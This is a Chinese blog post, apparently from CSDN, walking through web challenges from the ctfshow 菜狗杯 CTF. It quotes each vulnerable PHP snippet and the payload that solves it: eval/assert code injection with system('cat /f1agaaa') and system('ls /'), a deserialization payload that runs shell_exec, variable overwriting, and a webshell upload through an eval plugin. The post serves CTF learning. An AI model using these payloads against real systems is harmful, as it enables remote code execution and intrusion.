• ctfshow(菜狗杯)


    目录

    web签到

     一言既出

    驷马难追

    web2 c0me_t0_s1gn

    我的眼里只有$

    TAPTAPTAP

    Webshell

    化零为整

    无一幸免

    遍地飘零

    传说之下(雾)

    Is_Not_Obfuscate


    web签到

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

    http://d0255dc2-b1c4-4916-95b0-a3cfe0495d40.challenge.ctf.show/?b=c&c[0]=1&c[6][0][7][5][8][0][9][4][4]=system("cat /f1agaaa");

    post: a=b

    cookie:CTFshow-QQ%E7%BE%A4:a   

    把群进行url编码就可以

    这样的话cookie传入 =a ,然后破石头  a=b  ,get  b=c,request可以接收post和get请求,最后c因为用数组传参所以要带上后面的东西 

     一言既出

    1. highlight_file(__FILE__);
    2. include "flag.php";
    3. if (isset($_GET['num'])){
    4. if ($_GET['num'] == 114514){
    5. assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
    6. echo $flag;
    7. }
    8. }

    看到一些危险的执行函数就要注意,就会执行后面的东西,

    intval(114514);//)   输入114514);//

    就会执行里面的内容然后注释掉了后面的全部内容,输出flag

    驷马难追

    1. highlight_file(__FILE__);
    2. include "flag.php";
    3. if (isset($_GET['num'])){
    4. if ($_GET['num'] == 114514 && check($_GET['num'])){
    5. assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
    6. echo $flag;
    7. }
    8. }
    9. function check($str){
    10. return !preg_match("/[a-z]|\;|\(|\)/",$str);
    11. }

    和上一个没太大的区别,就增加了一层过滤,然后注释掉了括号

    这个采用?num=114514%2b1805296的方法

    %2b是加号的意思,

    web2 c0me_t0_s1gn

    跟着提示,控制台运行就会得出

    我的眼里只有$

    1. error_reporting(0);
    2. extract($_POST);
    3. eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
    4. highlight_file(__FILE__);

    假如_=a $_=a ,如果这时候传入a=b $$a=b, $有点多用脚本把

    一共有36个$和一共_,需要在_的基础上加上36层

    1. import string
    2. a='_=a&'
    3. code="system('ls /');"
    4. for i in range(35):
    5. a+=s[i]+"="+s[i+1]+"&"
    6. a+=s[i]+"="+code
    7. print(a)

    i一开始从0开始  34结束所以最后结尾会加上一个35,s=string.ascii_letters是字母从下标0开始

    TAPTAPTAP

    翻到源码,直接base64解密, 

    访问获得flag

    Webshell

    1. error_reporting(0);
    2. class Webshell {
    3. public $cmd = 'echo "Hello World!"';
    4. public function __construct() {
    5. $this->init();
    6. }
    7. public function init() {
    8. if (!preg_match('/flag/i', $this->cmd)) {
    9. $this->exec($this->cmd);
    10. }
    11. }
    12. public function exec($cmd) {
    13. $result = shell_exec($cmd);
    14. echo $result;
    15. }
    16. }
    17. if(isset($_GET['cmd'])) {
    18. $serializecmd = $_GET['cmd'];
    19. $unserializecmd = unserialize($serializecmd);
    20. $unserializecmd->init();
    21. }
    22. else {
    23. highlight_file(__FILE__);
    24. }
    25. ?>

    直接给cmd赋值就可以了,然后shell_exec执行,输出只不过输出是在源代码中输出的

    1. class Webshell {
    2. public $cmd = "cat f*";
    3. }
    4. $W=new Webshell();
    5. echo serialize($W);

    获得flag

    化零为整

    1. highlight_file(__FILE__);
    2. include "flag.php";
    3. $result='';
    4. for ($i=1;$i<=count($_GET);$i++){
    5. if (strlen($_GET[$i])>1){
    6. die("你太长了!!");
    7. }
    8. else{
    9. $result=$result.$_GET[$i];
    10. }
    11. }
    12. if ($result ==="大牛"){
    13. echo $flag;
    14. }

     count($_GET)

    首先这里就是统计get传参的个数比如,?a=1   值为1   a=1&b=2   就为2了

    strlen($_GET[$i])>1

    首先strlen是统计字节的个数,%4e这样的形式只占用一个字节,是统计 a=%4e统计等号的右边

    所以这道题考虑用汉字的url编码绕过,一个汉字有3位url编码,然后用1-6

    ?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

    无一幸免

    1. include "flag.php";
    2. highlight_file(__FILE__);
    3. if (isset($_GET['0'])){
    4. $arr[$_GET['0']]=1;
    5. if ($arr[]=1){
    6. die($flag);
    7. }
    8. else{
    9. die("nonono!");
    10. }
    11. }

     这道题其实,看if($arr[]=1)这个等于号,是一个所以这是一个赋值的操作,肯定为true会进行die的操作,所以0=1随便赋值 

    遍地飘零

    1. include "flag.php";
    2. highlight_file(__FILE__);
    3. $zeros="000000000000000000000000000000";
    4. foreach($_GET as $key => $value){
    5. $$key=$$value;
    6. }
    7. if ($flag=="000000000000000000000000000000"){
    8. echo "好多零";
    9. }else{
    10. echo "没有零,仔细看看输入有什么问题吧";
    11. var_dump($_GET);
    12. }

    变量覆盖的题目payload:?_GET=flag

    传说之下(雾)

    打开之后是一个小游戏,一般这样都考察js前端

    然后往上面翻找到了这个

    this当前的为Game类,

    直接在控制太输出Game.score=3000 改变类中的属性,获得flag

    Is_Not_Obfuscate

    打开界面查看源码

    首先看到,decode,这是解密的说明会有一段加密的东西

    如果action=test会执行,然后看下面有个robots.txt,访问

    flag=0没东西,flag=1发现有一段加密后的源码

    eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT

     然后input=加密传参,action=test,但是这里一直没成功,弄了好久才发现+被过滤掉了,需要一层的url 编码

    1. Anything is good?Please test it.
    2. header("Content-Type:text/html;charset=utf-8");
    3. include 'lib.php';
    4. if(!is_dir('./plugins/')){
    5. @mkdir('./plugins/', 0777);
    6. }
    7. //Test it and delete it !!!
    8. //测试执行加密后的插件代码
    9. if($_GET['action'] === 'test') {
    10. echo 'Anything is good?Please test it.';
    11. @eval(decode($_GET['input']));
    12. }
    13. ini_set('open_basedir', './plugins/');
    14. if(!empty($_GET['action'])){
    15. switch ($_GET['action']){
    16. case 'pull':
    17. $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
    18. echo "pull success";
    19. break;
    20. case 'push':
    21. $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
    22. echo "push success";
    23. break;
    24. default:
    25. die('hacker!');
    26. }
    27. }

     获得了源码界面,从源码可以看出push 用于上传,一句话木马但是经过了链接youyou进行了加密

                                                           pull 用于接受一句话木马,只需要获得上传木马这个文件名就可以利用

       上传

     预览输入这个32位小写

    但是经过了实验,发现只有传参get才可以利用shell=system('ls /');,post不行

    很奇特的点,学到了很多,题后续还会一直补充

  • 相关阅读:
    Centos7 安装部署Kubernetes(k8s)集群
    nuxt 如何生成sitemap.xml 动静态站点地图
    让我们拥抱DataV,感受数据可视化的魅力
    SpringMVC | 快速上手SpringMVC
    截图工具分享(可截成gif动图)
    如何使用生成式人工智能探索视频博客的魅力?
    【小程序】-(小撒)
    【前端】jquery获取data-*的属性值
    【JavaScript流程控制-分支】
    拓展3: Python Xpath表达式的使用
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/127872142